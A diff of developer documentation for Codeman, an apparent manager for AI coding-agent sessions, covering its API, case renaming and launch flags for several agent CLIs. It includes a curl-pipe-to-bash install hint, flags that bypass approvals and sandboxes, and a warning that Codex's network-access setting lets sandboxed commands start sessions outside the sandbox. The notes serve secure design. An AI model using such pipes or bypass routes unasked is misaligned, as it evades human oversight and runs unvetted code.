`GET /api/sessions/:id/edits[?sync=1]` lists the stored edits, newest first, without diffs: `{ state, reason?, backfillTruncated, agents, entries }`. With `sync=1` it first reads what the transcripts gained since the last read (after `/clear` or a resume, the previous conversation's transcripts to their end first); without it the server reads nothing. `state` is `ok`, `unavailable` (stored entries only; `reason` is `no-transcript` before the session has a transcript Codeman can find, `removed` while the session's history is being deleted, or the read error; the transcript is the one the session's hooks report, else the newest `<id>.jsonl` under the session's `CLAUDE_CONFIG_DIR` override or the server's config dir; a remote session sends no hooks, so its host is asked over ssh for the conversation the pane's claude writes now, else the most recently written of the stored conversation, the session's `claudeSessionId` and its id, under the host's `CLAUDE_CONFIG_DIR` or `~/.claude`) or `unsupported` (`reason`: `docker`, `mode`, `adopted`). Each entry is `{ id, ts, path, relPath, kind: 'code'|'image', tool, created, added, removed, truncated, agentId? }`, where `tool` is the edit tool, `bash` for an image a Bash call produced or `sent` for one the agent sent; `relPath` is relative to the workspace (a subagent's worktree for its edits). `agents` maps a subagent id to `{ description, agentType, worktreeBranch? }`. `backfillTruncated: true` means older edits can still be loaded.
`GET /api/sessions/:id/edits/:entryId` returns one edit's diff as unified text: `{ diff, truncated }` (each edit's diff is capped at 64 KiB). `404` for an edit the session does not have.
@@ -1458,7 +1571,7 @@ A local case whose folder is the top of a git repository can keep **worktrees**
A non-admin's `POST /api/quick-start` and `POST /api/ralph-loop/start` work as before but do not record their case as `lastUsedCase` (a server-wide key).
`POST /api/cases/:name/rename` (body `{ newName, renameFolder?, stopSessions? }`, strict) renames a case. It is not one of the admin-only writes above: in multi-user mode a non-admin renames their own cases, and only the `settings.json` part is skipped for them. A case under the cases directory is its folder, so it always moves; a linked case renames its alias in `linked-cases.json` and moves its real folder (next to the old one, named `newName`) only with `renameFolder: true`. Remote and Docker cases are `400`. The new name must be free in every namespace the list merges (`409`). Live sessions whose working directory is at or inside the folder that would move make it `409` with `requiresStop: true` and `sessions: [{ id, name }]`; retry with `stopSessions: true` to end them first (they are closed as by `DELETE /api/sessions/:id`, nothing is restarted); another user's session is `403`. The folder is held by an in-process lock for the whole operation (an overlapping rename is `409 BUSY`, and `new Session` refuses a working directory inside it); a session that is still being created in the folder (constructed, not yet registered, so it can be neither listed nor stopped) makes a folder move `409` with `renameCode: "BUSY"` too, and a retry once it is registered lists it like any open session; the move is retried for a transient `EBUSY`/`EPERM`/`EACCES` and then answers `423` with `renameCode: "LOCKED"`, a cross-device move is `400`, and if the registries cannot be written afterwards `settings.json` and the folder are put back (when the folder cannot be moved back, the `500` says it is now at the new path). An error from the rename itself carries `stoppedSessions`: how many sessions it ended before it failed. On success the response is `{ oldName, newName, oldPath, newPath, folderMoved, stoppedSessions }`; `caseOrder` and `lastUsedCase` (in multi-user mode, by an admin's rename only), `linked-cases.json` and Claude Code's `projects/<path>` history are updated (history already at the new path is merged into, never overwritten), and `case:renamed` is broadcast. A linked case is admin only in multi-user mode: for a non-admin the name is looked up in their own case space only (`404` when they have no case of that name).
`POST /api/cases/:name/rename` (body `{ newName, renameFolder?, stopSessions? }`, strict) renames a case. It is not one of the admin-only writes above: in multi-user mode a non-admin renames their own cases, and only the `settings.json` part is skipped for them. A case under the cases directory is its folder, so it always moves; a linked case renames its alias in `linked-cases.json` and moves its real folder (next to the old one, named `newName`) only with `renameFolder: true`. Remote and Docker cases are `400`. The new name must be free in every namespace the list merges (`409`). Live sessions whose working directory is at or inside the folder that would move make it `409` with `requiresStop: true` and `sessions: [{ id, name }]`; retry with `stopSessions: true` to end them first (they are closed as by `DELETE /api/sessions/:id`, nothing is restarted); another user's session is `403`. The folder is held by an in-process lock for the whole operation (an overlapping rename is `409 BUSY`, and `new Session` refuses a working directory inside it); a session that is still being created in the folder (constructed, not yet registered, so it can be neither listed nor stopped) makes a folder move `409` with `renameCode: "BUSY"` too, and a retry once it is registered lists it like any open session; the move is retried for a transient `EBUSY`/`EPERM`/`EACCES` and then answers `423` with `renameCode: "LOCKED"`, a cross-device move is `400`, and if the registries cannot be written afterwards `settings.json` and the folder are put back (when the folder cannot be moved back, the answer is `500` and says it is now at the new path). A failed write is `500`. A linked case's entry is checked again where it is written, after any folder move, and a refusal there puts everything back the same way: a new name linked since the first check is `409 ALREADY_EXISTS` with `renameCode: "EXISTS"`, an old entry unlinked or changed since then is `409 CONFLICT` with `renameCode: "BUSY"`, and a `linked-cases.json` that stopped being readable or a JSON object is `409 CONFLICT` with no `renameCode` (one already damaged when the rename starts reads as empty, so a linked name answers `404`). An error from the rename itself carries `stoppedSessions`: how many sessions it ended before it failed. On success the response is `{ oldName, newName, oldPath, newPath, folderMoved, stoppedSessions }`; `caseOrder` and `lastUsedCase` (in multi-user mode, by an admin's rename only), `linked-cases.json` and Claude Code's `projects/<path>` history are updated (history already at the new path is merged into, never overwritten), and `case:renamed` is broadcast. A linked case is admin only in multi-user mode: for a non-admin the name is looked up in their own case space only (`404` when they have no case of that name).
### System operations
@@ -1563,6 +1676,41 @@ Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge cre
`GET /api/doctor[?category=core|office|other]` returns the `codeman doctor --json` report (`platform`, `summary`, `tools[]` with `status` `ok` \| `missing` \| `outdated` \| `skipped` \| `error`, `version`, `path`, `installHint`). The probe engine is synchronous, so it runs in a child process of the same entry script, never on the server's event loop (30 s timeout). It names install paths and versions, so it is admin only in multi-user mode (`403`). `400` for an unknown category, `500` if the child produces no report.
## Local model recommendation
`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, and with which agent CLI. It covers Apple silicon macOS only; anywhere else the answer is still a `200`, with verdict `none`. **Read-only:** the route downloads nothing, installs nothing, writes no file and reads or changes no setting (setting a model up from Codeman is a later step and is not built yet). It names the host's hardware, so it is admin only in multi-user mode (`403`, answered before anything is probed). The models, their sizes and the agent CLIs it considers are a catalogue compiled into the release; there is no override file.
**Experimental.** This endpoint and its payload are labeled experimental until the step that sets a model up ships: that step will add to and may change the fields below, the verdicts and the sentences, in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on its shape yet.
| Method | Path | Body | Notes |
| ------ | ------------------ | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `GET` | `/api/local-model` | none | `200` with `{ hardware, recommendation, catalogUpdated }`. `403 FORBIDDEN` for a non-admin in multi-user mode. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe. |
A probe that fails is an answer, not an error: a server that is not on macOS, or a Mac whose `sysctl` call failed or timed out, still gets a `200`, and `hardware.source` says what was read.
`data`:
- `hardware`: what the server sees of the machine it runs on.
- `platform`, `arch`: `process.platform` and `os.arch()` of the server process. `arm64: true` means the machine is Apple silicon whatever `arch` says; `translated: true` means the server process runs under Rosetta.
- `memBytes`, `memGb` (the bytes as decimal GB text, `"51.5"` for a 48 GB Mac) and `memClassGb` (the memory size the Mac is sold as: 16, 32, 48; `0` when the size could not be read). `memClassGb` is what to show as the installed memory: it is the number on the box and in About This Mac. It is the one size here that is not decimal GB.
- `chip`, `model`, `macosVersion`, `macosMajor`, `wiredLimitMb` (`0` means not set), `freeDiskBytes` and `freeDiskGb` (free space on the filesystem of Codeman's data directory). Each is absent when it could not be read.
- `source`: `sysctl` (the one bounded `sysctl` call answered), `os-fallback` (macOS, but that call failed: memory, architecture, the chip name and the free disk space come from Node, and nothing only `sysctl` knows, such as `arm64`, `translated`, `model`, `macosVersion`, `macosMajor` or `wiredLimitMb`, is present) or `not-probed` (not macOS, nothing was run).
- `recommendation`:
- `verdict`: `ok`, `limited` or `none`. `limited` is a statement about the Mac: no model with 12 billion parameters or more fits its memory, so what it can run handles small edits and questions and does not replace a cloud model. It is judged on every model that fits, before the free disk space is looked at and whatever the pick is. With `ok` the pick can still be a small model (a larger one may fit only tightly, have no speed figure or have no room on the disk); `notes` then says so.
- `reason`, present only with `none`: `not-macos`, `intel`, `memory`, `disk`, `macos` (too old) or `no-harness` (no agent CLI that can be connected to a local model is installed or installable). `memory` has three sentences: nothing fits at all (slot `memory`, the size the Mac is sold as), a model fits but only below the context length an agent CLI needs (slots `budget` and `need`, so a Mac that misses by a little reads as that), and the memory size could not be read (no slot).
- `headline` and `notes[]`: `{ text, vars? }`. `text` is an English sentence that may hold `{placeholder}` slots, and `vars` carries the slot values as text. Notes, in order: the pick is a small model although larger ones fit (verdict `ok` only); a model that fits the memory was left out because its download would not leave 10 GiB free on the disk (slots `model` and `missing`: the best-ranked such model and the GB to free up); nobody tested the pick on a Mac like this one.
- `pick` (absent with `none`) and `alternatives[]` (at most four, best first; empty with `none`), each one model at one context length with one agent CLI. A model whose download would leave less than 10 GiB free on the disk is not listed (an unknown free disk space excludes nothing):
- `modelId` (`name:tag`), `modelLabel`, `license`, `paramsB` (parameters in billions), `context` (tokens);
- `cli`, `cliLabel`, `cliInstalled` (`false`: the CLI is not on this machine yet but can be installed without administrator rights), `slowFirstTurn?`;
- `needBytes` and `needGb` (memory the model needs at that context), `downloadBytes` and `downloadGb`, `budgetShare` (need divided by `budgetBytes`, rounded to three decimals);
- `fit`: `good` (up to 0.85 of the budget) or `tight` (up to 0.98), with its label `fitLabel`;
- `speed`: `ok`, `slow` (under 10 tokens per second) or `unknown`, with `speedLabel` (absent for `ok`) and `tokensPerSecond` (rounded to one decimal, absent for `unknown`; `speed` is decided on the unrounded figure, so `10` can be `slow`). `unknown` means the chip is in no row of the catalogue's chip table, or the catalogue has no speed figure for the model: a speed is never guessed;
- `tested`: we ran this model with this CLI on a Mac like this one. No catalogue row has such an entry yet, so it is `false` today.
- `budgetBytes` and `budgetGb`: the memory a model may use on this Mac (`0` for `not-macos` and `intel`, where none is computed). `budgetSource` is `wired-limit` (taken from `iogpu.wired_limit_mb`) or `estimated` (computed from the installed memory).
- `catalogUpdated`: ISO date on which the catalogue's rows were last checked.
Every computed size a person reads travels twice: as bytes, and as decimal GB text without the unit (`"needGb": "29.6"`). Show the text and add the unit; do not divide the bytes yourself, so one request never shows two different roundings. The installed memory is the exception named above: show `memClassGb`.
## Voice dictation
Browser dictation transcribed through this server's Claude Code login, i.e. the
+81 -19
View File
@@ -41,7 +41,7 @@ Pure helpers unit-tested in `test/base-path.test.ts` + `test/webview-proxy.test.
### External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)
**External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)**: `isExternalCliMode()` in `session.ts` (`mode === 'opencode' || 'codex' || 'gemini' || 'antigravity' || 'pi' || 'grok' || 'deepseek'`) gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). ⚠️ **Work detection left this gate in #385** and is now per-CLI `capabilities.workDetect` data (`promptGlyph` + `workingLine`), because gating it on the mode left every Codex session reporting `idle` for its entire life; a CLI declaring neither falls back to Claude's pair, which is logic-identical to the pre-registry behaviour. All seven modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv` (socket-scoped `${this.tmux()} setenv`, never on the spawn command line): OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars`), Gemini gets `GEMINI_API_KEY`/`GOOGLE_API_KEY`/`GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI` etc. (`setGeminiEnvVars`, all in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--model`, `--config model_reasoning_effort=<level>` from `reasoningEffort`, `--config tui.animations=<bool>` from `animations`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode). Gemini specifics: command built by `buildGeminiCommand()` (`--skip-trust` always, `--approval-mode <default|auto_edit|yolo|plan>` defaulting to `yolo` for parity with Claude's `--dangerously-skip-permissions`, `--model`, `--resume` from the `geminiConfig` payload); availability via `GET /api/gemini/status` — session/quick-start routes fail with `OPERATION_FAILED` + install hint (`npm install -g @google/gemini-cli`) when missing. Codex, Gemini, Antigravity, Pi, Grok, DeepSeek and OMP export `COLORTERM=truecolor` and unset `NO_COLOR`; `opencode` unsets `COLORTERM`. **Terminal colour env** under Session launch modes covers Claude and says which panes those declarations actually reach. Gemini joins `isAltScreenStripMode()` (Codex/Claude/Gemini are Ink TUIs that repaint inline → strip alt-screen/`3J` so scrollback survives). Codex availability via `GET /api/codex/status`. Antigravity specifics: command built by `buildAntigravityCommand()` (`--model`, `--conversation <id>` resume, `--dangerously-skip-permissions` from the `antigravityConfig` payload); availability via `GET /api/antigravity/status` — routes fail with `OPERATION_FAILED` + install hint (`curl -fsSL https://antigravity.google/cli/install.sh | bash`) when missing. Unlike the other three it is NOT an npm package (standalone binary, `~/.local/bin/agy`), which is why `docker/agent.Dockerfile` installs it with its own `--dir /usr/local/bin` step rather than in the `npm install -g` line, and why it does NOT join `isAltScreenStripMode()`. Frontend: run-mode dropdown → `runCodex()`/`runGemini()` in `session-ui.js` ("Run CX"/"Run GM" labels), App Settings → Agents & CLIs → Codex; Respawn/Ralph options are Claude-only, so session options open on the Session tab for external CLI sessions. ⚠️ `run*()` MUST unwrap the `{success,data}` envelope (`(await res.json()).data.available` / `data.data.sessionId`) — reading the raw shape silently breaks the run. Tests: `test/run-mode-ui.test.ts` + `test/gemini-mode.test.ts` (vm-sandbox harness, no real DOM). Grok specifics: command built by `buildGrokCommand()` (`--always-approve` from `grokConfig.alwaysApprove` — grok's `bypassPermissions` permission mode, deny rules still apply; `--model`; `--resume <id>` / `--continue`, id-regexed so grok's resume-by-TITLE feature can never put an arbitrary string on the spawn line); availability via `GET /api/grok/status`, which carries `version` because the resolver version-probes candidates (`grok` has npm squatters, e.g. @vibe-kit/grok-cli — `GROK_VERSION_REGEX` is shared with the dependency registry so doctor and run mode agree). Like antigravity it is a standalone binary (xAI installer → `~/.grok/bin`, symlinked into `~/.local/bin`), so `docker/agent.Dockerfile` installs it in its own step (copy to `/usr/local/bin`, drop root's `~/.grok` in the same layer) and it stays OUT of `isAltScreenStripMode()` (fullscreen alt-screen TUI with mouse support — the opencode case, which is now `isMuxMouseStripMode`, not the Ink case). Env allowlist: `GROK_*` plus the vendor namespace `XAI_*` (`XAI_API_KEY` is grok's documented headless auth var — the same narrow-vendor-namespace reasoning as `GOOGLE_*` for gemini). Docker cred seeding is per-file (`auth.json`, `config.toml`, `pager.toml` from `~/.grok` — the dir also holds `sessionsLine truncated
**External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)**: `isExternalCliMode()` in `session.ts` (`mode === 'opencode' || 'codex' || 'gemini' || 'antigravity' || 'pi' || 'grok' || 'deepseek'`) gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). ⚠️ **Work detection left this gate in #385** and is now per-CLI `capabilities.workDetect` data (`promptGlyph` + `workingLine`), because gating it on the mode left every Codex session reporting `idle` for its entire life; a CLI declaring neither falls back to Claude's pair, which is logic-identical to the pre-registry behaviour. All seven modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv` (socket-scoped `${this.tmux()} setenv`, never on the spawn command line): OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars`), Gemini gets `GEMINI_API_KEY`/`GOOGLE_API_KEY`/`GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI` etc. (`setGeminiEnvVars`, all in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--no-daemon` behind the `noDaemonFlag` gate at 0.162.0, measured against codex's own version, local launches only; `--model`, `--config model_reasoning_effort=<level>` from `reasoningEffort`, `--config sandbox_workspace_write.network_access=true` from `networkAccess` (the **Allow network access** app setting `codexNetworkAccess`, a launch default and a privileged param; ⚠️ with it on, a command in codex's sandbox can call Codeman's API and start a session outside that sandbox, password or not), `--config tui.animations=<bool>` from `animations`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode). Gemini specifics: command built by `buildGeminiCommand()` (`--skip-trust` always, `--approval-mode <default|auto_edit|yolo|plan>` defaulting to `yolo` for parity with Claude's `--dangerously-skip-permissions`, `--model`, `--resume` from the `geminiConfig` payload); availability via `GET /api/gemini/status` — session/quick-start routes fail with `OPERATION_FAILED` + install hint (`npm install -g @google/gemini-cli`) when missing. Codex, Gemini, Antigravity, Pi, Grok, DeepSeek and OMP export `COLORTERM=truecolor` and unset `NO_COLOR`; `opencode` unsets `COLORTERM`. **Terminal colour env** under Session launch modes covers Claude and says which panes those declarations actually reach. Gemini joins `isAltScreenStripMode()` (Codex/Claude/Gemini are Ink TUIs that repaint inline → strip alt-screen/`3J` so scrollback survives). Codex availability via `GET /api/codex/status`. Antigravity specifics: command built by `buildAntigravityCommand()` (`--model`, `--conversation <id>` resume, `--dangerously-skip-permissions` from the `antigravityConfig` payload); availability via `GET /api/antigravity/status` — routes fail with `OPERATION_FAILED` + install hint (`curl -fsSL https://antigravity.google/cli/install.sh | bash`) when missing. Unlike the other three it is NOT an npm package (standalone binary, `~/.local/bin/agy`), which is why `docker/agent.Dockerfile` installs it with its own `--dir /usr/local/bin` step rather than in the `npm install -g` line, and why it does NOT join `isAltScreenStripMode()`. Frontend: run-mode dropdown → `runCodex()`/`runGemini()` in `session-ui.js` ("Run CX"/"Run GM" labels), App Settings → Agents & CLIs → Codex; Respawn/Ralph options are Claude-only, so session options open on the Session tab for external CLI sessions. ⚠️ `run*()` MUST unwrap the `{success,data}` envelope (`(await res.json()).data.available` / `data.data.sessionId`) — reading the raw shape silently breaks the run. Tests: `test/run-mode-ui.test.ts` + `test/gemini-mode.test.ts` (vm-sandbox harness, no real DOM). Grok specifics: command built by `buildGrokCommand()` (`--always-approve` from `grokConfig.alwaysApprove` — grok's `bypassPermissions` permission mode, deny rules still apply; `--model`; `--resume <id>` / `--continue`, id-regexed so grok's resume-by-TITLE feature can never put an arbitrary string on the spawn line); availability via `GET /api/grok/status`, which carries `version` because the resolver version-probes candidates (`grok` has npm squatters, e.g. @vibe-kit/grok-cli — `GROK_VERSION_REGEX` is shared with the dependency registry so doctor and run mode agree). Like antigravity it is a standalone binary (xAI installer → `~/.grok/bin`, symlinked into `~/.local/bin`), so `docker/agent.Dockerfile` installs it in its own step (copy to `/usr/local/bin`, drop root's `~/.grok` in the same layer) and it stays OUT of `isAltScreenStripMode()` (fuLine truncated
**DeepSeek Harness (`dsh`) specifics** — the mode that breaks three of the assumptions the six above share, so read this before changing anything about it.
@@ -61,7 +61,7 @@ Pure helpers unit-tested in `test/base-path.test.ts` + `test/webview-proxy.test.
Model is NOT a session field: it is a composition entry in the profile's config tree (`agent-default-model`), configured in `~/.dsh/settings.yaml` + `cordis.patch.yml`, so both create paths deliberately resolve no model for this mode. Env allowlist: `DSH_*` + `DEEPSEEK_*`; provider keys named by a settings-file `apiKeyEnv` stay OUT, which is pi's 34-provider-key problem in a new shape and gets the same answer. Docker seeds `~/.dsh` per-file (`.env`, `settings.yaml`, `cordis.patch.yml`) and the image installs its OWN profile, because `profiles/` is a per-profile `node_modules` tree — host-arch-specific and far too large to copy per container start. Stays OUT of `isAltScreenStripMode()` (third-party fullscreen TUI — the opencode case, i.e. `isMuxMouseStripMode` is the shape to measure here too). ⚠️ `classifyProfile()` reads the profile's BUNDLES, and "unknown means launchable" is deliberate (anyone can publish an app bundle), but it has one knowably-wrong case: `readProfile()` returns an empty bundle list for a `package.json` with no `dsh.profile.bundles`, which made the SHIPPED `web`/`headless` profiles look third-party and launchable. The directory name is therefore consulted as a LAST resort (`STOCK_NON_INTERACTIVE_PROFILES`), after the bundle patterns, so real bundle evidence always wins over a name the user chose. The loose `tui` arm carries word boundaries for the same reason: it decides which profile boots by default, and matching the middle of `intuition` is not a rule anyone could predict. ⚠️ The generated shim is written **temp + rename**, not in place: the TUI can be exec'ing that exact path while an upgraded Codeman refreshes it, and a half-written file is a syntax error the caller then retries four times per state change forever. Bump `SHIM_VERSION` whenever `SHIM_SOURCE` changes, or an existing shim keeps matching the embedded marker and is never refreshed. Availability via `GET /api/deepseek/status`, the widest per-CLI status shape (`available`/`runnable`/`path`/`version`/`dshHome`/`defaultProfile`/`profiles`); `POST /api/deepseek/install-profile` bootstraps a profile and is the only endpoint in Codeman that installs third-party code — regex-confined specifier, argv-array spawn, privileged grant required in multi-user mode, and the held-open request is bounded by a HAND-ROLLED timeout over a `detached: true` process group (negative-pid SIGTERM→SIGKILL, as `runGit()` does in git-clone.ts). ⚠️ Node's own `spawn` `timeout` is NOT enough: a plugin install fans out into package-manager children, the built-in timeout signals only the direct child, and the survivors hold the inherited stdio pipes open so `close` never fires and the request leaks forever. User guide: `docs/deepseek-integration.md`. Tests: `test/deepseek-mode.test.ts`, `test/deepseek-cli-resolver.test.ts`.
**Pi specifics** (#206, `docs/pi-integration.md`): command built by `buildPiCommand()` (`--model` — the only builder whose model regex admits `:` and `/`, for `sonnet:high` and `openai/gpt-4o` — plus `--provider`, `--thinking`, `--session <id>` / `-c`, and the TRI-STATE `--approve`/`--no-approve`). ⚠️ **Pi has no permission prompts and no sandbox**, so there is no `--dangerously-skip-permissions` analog and Codeman must not invent one; the privilege-shaped knob is `approveProjectTrust`, which makes pi LOAD AND EXECUTE repo-local `.pi/extensions` TypeScript and npm-install missing project packages. It therefore joins `clampExternalCliBypassForOwner()`'s **materialize** branch (gemini's, not codex/antigravity's only-if-sent one): an absent config still yields `--no-approve` for a non-granted owner, because pi's own default is an interactive prompt the session user could answer themselves. ⚠️ `--api-key` is NEVER wired — it would put a provider secret on the spawn command line. ⚠️ Pi stays **out** of `isAltScreenStripMode()`: its default TUI renders into the main screen with terminal-owned scrollback (nothing to strip), and since 0.84.0 the user can flip to a fullscreen TUI at runtime via `/settings`, where the alt screen is load-bearing — being out of the list is exactly what makes that switch safe. ⚠️ Only the `PI_*` env prefix was added; pi's ~34 provider keys share no prefix and `ALLOWED_ENV_PREFIXES` is a single GLOBAL list with no mode context, so admitting them would widen the allowlist for every mode at once (a mode-aware allowlist is the tracked follow-up). ⚠️ `pi` is a short, GENERIC binary name, so unlike the sibling resolvers `pi-cli-resolver.ts` sanity-probes `pi --version` (cached, vitest-skipped) and requires semver-shaped output; `GET /api/pi/status` carries `version` on top of the sibling `{available, path}` shape so a misresolution is diagnosable. Local echo: pi lands on the `'buffer'` overlay via the fallthrough in `_updateLocalEchoState` (pinned in `test/local-echo-codex-gating.test.ts`); if pi's live composer turns out to fight it the way codex's did, the fallback is one `'off'` branch. Tests: `test/pi-mode.test.ts`, `test/routes/external-cli-bypass-clamp.test.ts` (first-ever coverage of the clamp).
**Pi specifics** (#206, `docs/pi-integration.md`): command built by `buildPiCommand()` (`--model` — the only builder whose model regex admits `:` and `/`, for `sonnet:high` and `openai/gpt-4o` — plus `--provider`, `--thinking`, `--session <id>` / `-c`, and the TRI-STATE `--approve`/`--no-approve`). ⚠️ **Pi has no permission prompts and no sandbox**, so there is no `--dangerously-skip-permissions` analog and Codeman must not invent one; the privilege-shaped knob is `approveProjectTrust`, which makes pi LOAD AND EXECUTE repo-local `.pi/extensions` TypeScript and npm-install missing project packages. It therefore joins `clampExternalCliBypassForOwner()`'s **materialize** branch (gemini's, not codex/antigravity's only-if-sent one): an absent config still yields `--no-approve` for a non-granted owner, because pi's own default is an interactive prompt the session user could answer themselves. ⚠️ `--api-key` is NEVER wired — it would put a provider secret on the spawn command line. ⚠️ Pi stays **out** of `isAltScreenStripMode()`: it takes the mouse strip instead, because its TUI is fullscreen by default since 1.0.0 (`tuiMode`) and inline with terminal-owned scrollback under `tuiMode: regular`, the default below 1.0.0, so the full strip's `3J` removal would have no owner in the second shape. See "Pi is the same shape" in the scrollback section. ⚠️ Only the `PI_*` env prefix was added; pi's ~34 provider keys share no prefix and `ALLOWED_ENV_PREFIXES` is a single GLOBAL list with no mode context, so admitting them would widen the allowlist for every mode at once (a mode-aware allowlist is the tracked follow-up). ⚠️ `pi` is a short, GENERIC binary name, so unlike the sibling resolvers `pi-cli-resolver.ts` sanity-probes `pi --version` (cached, vitest-skipped) and requires semver-shaped output; `GET /api/pi/status` carries `version` on top of the sibling `{available, path}` shape so a misresolution is diagnosable. Local echo: pi lands on the `'buffer'` overlay via the fallthrough in `_updateLocalEchoState` (pinned in `test/local-echo-codex-gating.test.ts`); if pi's live composer turns out to fight it the way codex's did, the fallback is one `'off'` branch. Tests: `test/pi-mode.test.ts`, `test/routes/external-cli-bypass-clamp.test.ts` (first-ever coverage of the clamp).
**OMP (`omp`, Oh My Pi) specifics** (`docs/omp-integration.md`): architecturally the simplest of the family — omp owns its own auth, provider routing, and trust decisions entirely in `~/.omp` config files (default `tools.approvalMode: yolo`), so `buildOmpCommand()` only ever emits `--model`/`--resume <id>`/`--continue`, and there is no bypass-permissions flag for Codeman to wire or clamp. ⚠️ **That does NOT make the multi-user clamp a no-op**: `OMP_*` is an allowlisted `envOverrides` prefix and admits `OMP_AUTH_BROKER_URL`/`OMP_AUTH_BROKER_TOKEN` (where omp resolves credentials from), both dropped for a non-granted owner in `clampEnvOverridesForOwner()` — the same shape as `DEEPSEEK_BASE_URL` — even though, unlike DeepSeek, Codeman forwards no operator-held key into an omp pane today (found in Ark0N/Codeman#353 review). `--continue` alone is ambiguous the moment any other omp conversation has touched the same working directory more recently, since it just picks the newest session file on disk — `resolveAndClaimOmpSessionId()` (`src/utils/omp-session-resolver.ts`) resolves and PINS the real id instead, verifying each candidate's own file header (`{"type":"session","id",cwd"}`, not just the mangled-directory match) and tracking already-claimed ids in a process-wide registry so two omp tabs in the same case dir can't alias onto each other's conversation. ⚠️ Resolution/pinning happens ONLY at the point a respawn is actually confirmed (`_pinOmpRespawnId()`, called from `_setupOrAttachMuxSession()`'s dead-pane branch and `reattachRemote()`) — earlier code resolved eagerly while merely building respawn options, which could mis-pin a still-ALIVE session's id purely from boot-recovery timing. `src/omp-transcript.ts` independently scans `~/.omp/agent/sessions/**/*.jsonl` for Past Sessions history, the omp analog of Claude's own transcript scan, so a conversation survives even a full "Kill Tmux". ⚠️ omp's own env knobs are mostly `PI_*`, not `OMP_*` (`PI_CONFIG_DIR`, `PI_CODING_AGENT_DIR`, `PI_CODING_AGENT_SESSION_DIR`, `PI_SUBPROCESS_CMD`, `PI_SHELL_PREFIX`), and `PI_*` is already allowlisted globally for pi — so a redirected `PI_CONFIG_DIR` silently moves the `~/.omp` tree the resolver and transcript scanner hardcode, degrading pinning/history with no error; a known gap shared with pi, not fixed here. ⚠️ Docker: `appendResumeFlag()`'s `case 'omp'` keys off the top-level `resumeSessionId`, which Docker panes never receive for omp (built from `defaultDockerCommandForMode`, with no `ompConfig` threaded through) — host-side history recovery and pinning work through the shared `sessions/` mount, but `--resume` does not currently reach an in-container omp process on respawn (flagged in review, not yet fixed). Stays out of `isAltScreenStripMode()` (narrow scrollback strip, alt-screen toggles only) and lands on the `'buffer'` local-echo policy via the `_updateLocalEchoState` fallthrough, same as grok and pi. Resolver: `omp-cli-resolver.ts` version-probes like pi/grok (`omp` is a short, generic name) and requires `omp/<semver>`-shaped output; `OMP_SEARCH_DIRS` leads with `~/.local/bin` (omp.sh's installer targets `$HOME/.local/bin` with no `--dir` override — verified against a real `--no-cache` Docker build, `~/.omp/bin` was the wrong first guess). Tests: `test/omp-mode.test.ts`, `test/omp-cli-resolver.test.ts`, `test/omp-session-resolver.test.ts`, `test/omp-fresh-run-no-resume.test.ts`.
@@ -81,20 +81,38 @@ OMP's registry entry declares `privilegedParams: []` and a launch spec that only
Further detail: ⚠️ **Auto-reconnect revives ONLY when the durable remote tmux session is verifiably still alive** (`remoteTmuxSessionAlive()`, a `has-session` probe over ssh, #355): a clean agent exit (Ctrl-C, Ctrl-D, `exit`) tears that session down, and `isPaneDead()` cannot tell it from a transport drop, so the watcher used to relaunch a FRESH agent after every clean exit (claude only looked fine because its `|| --resume` fallback masked it). An unreachable host answers `undefined`, which also means do not revive. ⚠️ `has-session` prints NOTHING on success, so the probe is classified by EXIT STATUS (`classifyRemoteAliveExit`: 0 alive, ssh's 255 or a timeout unknown, anything else gone); reading stdout classified every live session as gone and silently disabled transport-drop reconnects. The answer is cached per session and forgotten whenever the pane is seen alive again, or a stale `true` from one transport drop would revive the next clean exit.
⚠️ The image watcher never watches a remote session's `workingDir` (a path on the remote host, which it would watch on the LOCAL disk): every call site that starts a watch skips `session.remote` (`setupSessionListeners()`, the app-wide toggle in `PUT /api/settings`, and `POST /api/sessions/:id/image-watcher`, which refuses `enabled: true` with `INVALID_INPUT`), so a new call site must too. File reads in a remote case are the second ssh surface (see Remote SSH cases below). The reason writes, office previews and thumbnails are deliberately unsupported over ssh is that no remote file is ever copied onto the server's disk. ssh children are bounded because terminal output in a remote session is written on the remote host, so a prompt-injected agent there can print hundreds of `codeman://attach` links. The third surface is a remote session's full-history load, which reads the scrollback from the remote tmux (`src/remote-pane-history.ts`) through the same limiter, with a bounded slot wait (`maxWaitMs`) since the local capture is its fallback.
